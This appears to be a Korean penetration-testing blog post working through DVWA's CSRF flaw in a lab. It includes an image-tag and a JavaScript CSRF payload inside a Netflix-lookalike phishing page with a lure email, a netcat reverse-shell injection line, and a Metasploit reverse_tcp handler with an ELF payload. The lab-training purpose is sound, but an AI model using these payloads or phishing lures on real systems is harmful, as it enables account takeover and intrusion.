[웹 모의해킹] CSRF - 사이트 간 요청 위조 취약점 실습
이번 실습은 DVWA의 CSRF (Cross-Site Request Forgery) 취약점을 대상으로, 보안 레벨별 구조 분석 및 실제 공격 시나리오를 수행해 보았다. 특히 Burp Suite를 통한 요청 가로채기, Javascript 자동화 공격, 웹쉘 실행 및 Metasploit 연동까지 포함해서 실전 침투 시나리오를 구성해 보았다.
※실습 중 사용된 netflix 디렉터리는 실제 DVWA 구성과 무관하며,
Github에서 내려받은 넷플릭스를 위장한 피싱 페이지 샘플로 피해자를 속이기 위한 공격 시나리오 구현용 resource로 활용했다.
1. CSRF란?
CSRF는 사이트 간 요청 위조 취약점으로, 사용자가 로그인한 상태에서 공격자가 의도한 요청을 피해자의 인증 세션을 통해 서버로 전송되도록 유도하는 공격이다.
예시
<img src="http://target_ip/vulnerable_action?param=value">
=> 사용자가 위 페이지를 열기만 해도, 서버는 사용자의 세션으로 요청을 받아 실행하게 된다.
2. [Step 1] DVWA의 Low 보안 소스코드 분석
source.php 내용
if (isset($_GET['Change'])) {
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = md5($pass_new);
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user='admin'";
mysql_query($insert);
echo "<pre> Password Changed </pre>";
} else {
echo "<pre> Passwords did not match. </pre>";
}
}
- CSRF 토큰 없음
- 현재 비밀번호 확인 없음
- GET 방식 허용
- referer 검사 없음
=> CSRF 공격에 매우 취약한 구조이다. => 방어 로직이 아예 없는 구조이다.
3. [Step 2] Burp Suite로 요청 가로채기
Firefox 프록시를 Burp Suite로 설정한 뒤, 비밀번호 변경 요청을 전송하고 해당 요청을 가로채서 분석하였다.
GET /dvwa/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change
Host: target_ip
Cookie: security=low; PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
=> Burp의 Repeater에서 이 요청을 반복 전송하면 비밀번호가 계속 변경됨.
4. [Step 3] 이미지 기반 CSRF 공격
공격자가 아래와 같은 HTML 페이지를 만들어 피해자에게 링크로 전달한다고 가정해 보았다.
<html>
<body>
<img src="http://target_ip/dvwa/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change">
</body>
</html>
=> 피해자가 로그인된 상태로 해당 페이지를 열면, 세션 쿠키가 자동 포함되어 서버에 요청이 전송되고, 비밀번호가 공격자가 원하는 값으로 변경된다.
5. [Step 4] JavaScript 자동화 공격 스크립트
/var/www/html/netflix 파일 중간에 넣어주기
<script>
function csrf_attack(){
var host = 'target_ip';
var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change";
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState === XMLHttpRequest.DONE){
if (xmlhttp.status === 200){
alert('Netflex가 이메일로 비밀번호 재설정 링크를 보냈습니다!!');
} else {
console.error('오류: ' + xmlhttp.status);
}
}
};
xmlhttp.open('GET', req_uri, true);
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xmlhttp.send();
}
</script>
- withCredentials=true : 세션 쿠키가 포함되어 요청 전송됨.
- 공격자는 <body onload="csrf_attack()"> 를 포함하여 피싱 페이지를 구성할 수 있다.
그리고 netflix의 로그인 지원 페이지 링크("https://www.netflix.com/LoginHelp")를 "javascript:csrf_attack()"으로 바꾼다.
6. [Step 5] 넷플릭스 피싱 페이지를 이용한 공격 시나리오
공격자는 Github에서 다운로드한 넷플릭스 피싱 페이지를 다음 위치에 업로드한다.
http://target_ip/dvwa/netflix/index.html
해당 페이지는 외형상 넷플릭스 보안 경고처럼 보이지만, 내부에 CSRF 공격용 JavaScript가 포함되어 있다.
피해자 시나리오
1. 공격자는 피해자에게 이메일로 아래 링크를 보낸다.
[넷플릭스 보안 알림] 계정 보호를 위해 비밀번호를 재설정해 주세요
=> Forgot your email or password?를 클릭하여 재설정하세요.
=> http://target_ip/dvwa/netflix/index.html
2. 피해자가 로그인 상태에서 해당 링크로 들어와서 Forgot your email or password? 링크를 클릭하면
- csrf_attack() 함수가 자동 실행되어
- DVWA admin 계정의 비밀번호가 공격자가 원하는 값으로 변경된다.
7. [Step 6] 명령어 삽입 시도 => 실패
비밀번호 필드에 다음 입력 시도:
; nc IP 5555 -e /bin/sh
- 실행되지 않음.
- CSRF는 명령어 실행이 아닌 요청 위조 취약점이다.
8. [Step 7] Metasploit 실행 중 오류 해결
handler.rc 실행 중 다음과 같은 오류가 발생:
cannot load such file -- rex/zip.rb (LoadError)
해결 절차
gem install rex-zip
cd /usr/share/metasploit-framework
bundle install
msfupdate
sqlite3 관련 오류 발생 시 :
apt install libsqlite3-dev -y
9. [Step 8] 포트 충돌 문제 해결
Netcat 또는 Metasploit 사용 중 포트 충돌 :
retrying local 0.0.0.0:5555 : Address already in use
해결 방법
lsof -i :5555
kill -9 <PID>
10. [Step 9] 웹쉘 구성 및 디렉터리 확인
cd /var/www/html
ls
# -> abc.elf, netflix/, handler.rc 등 확인
- netflix/ : Github에서 가져온 피싱 페이지 resource
- abc.elf : Metasploit 리버스 쉘용 ELF 바이너리
cd dvwa/netflix
ls
# → abc.elf
=> 공격자가 만든 페이지에서 abc.elf 실행을 유도 가능.
11. [Step 10] Metasploit 핸들러 설정
handler.rc 구성 :
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost kali_ip
set lport 5555
set exitonsession false
exploit -j
실행 :
msfconsole -r handler.rc
12. [Step 11] abc.elf 실행 및 세션 연결
chmod +x abc.elf
./abc.elf
=> Metasploit에서 다음과 같은 메시지 출력됨.
Meterpreter session 1 opened (attacker_ip:5555 → target_ip:xxxxx)
=> 공격자 리버스 쉘 접속 성공!
그다음에 기존에 있던 netflix를 디렉터리를 만들어서 /var/www/dvwa/ 밑의 netflix 디렉터리에 업로드하였다.
=> 사용자가 Forgot your email or password?를 누르게 되면 자동으로 csrf_attack() 함수가 실행된다.
13. 실습 요약 & 배운 점
항목 | 내용 |
취약점 | CSRF (Low 단계) - 요청 위조 |
취약 요소 | CSRF 토큰 없음, Referer 확인 없음 |
공격 방식 | Burp Suite, 이미지 태그, JavaScript 자동화 |
자동화 방식 | JavaScript + withCredentials 쿠키 포함 |
피싱 시나리오 | 넷플릭스 위장 페이지 -> 클릭 유도 -> CSRF 요청 실행 |
리버스 쉘 | abc.elf 실행 => Metasploit handler 연결 |
오류 해결 | rex-zip 설치, 포트 충돌 해결, sqlite 설치 등 |
이번 실습을 통해 CSRF의 구조와 위협을 실제로 체감할 수 있었다.
피해자는 단순히 피싱 페이지에 접속했을 뿐인데 로그인된 세션을 통해 공격자가 원하는 요청이 자동으로 실행되며 비밀번호가 조용히 탈취당하는 과정을 직접 재현해 보았다.
특히, Burp Suite을 활용한 요청 가로채기, JavaScript 자동화 스크립트 구성, 그리고 피싱 페이지와의 결합을 통해 현실적인 공격 시나리오를 이해할 수 있었다.
또한 CSRF 토큰이 없고, Referer 검증을 하지 않고, GET 방식을 허용하는 것과 같은 기초적인 보안 결함이 얼마나 쉽게 악용될 수 있는지도 확인할 수 있었다. 이를 통해 CSRF 토큰 적용, 요청 방식 제한, 현재 비밀번호 확인과 같은 방어 기법이 왜 중요한지, 어떻게 구현해야 하는지 생각해 볼 수 있었다.
다음 글 보러 가기
[웹 모의해킹] CSRF - 2편 - 사이트 간 요청 위조 취약점 실습(환경 구성 + 공격 시나리오 + 에러 해
이전 글 보러 가기 [웹 모의해킹] CSRF - 사이트 간 요청 위조 취약점 실습이번 실습은 DVWA의 CSRF (Cross-Site Request Forgery) 취약점을 대상으로, 보안 레벨별 구조 분석 및 실제 공격 시나리오를 수행해
ahhyun98.tistory.com
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.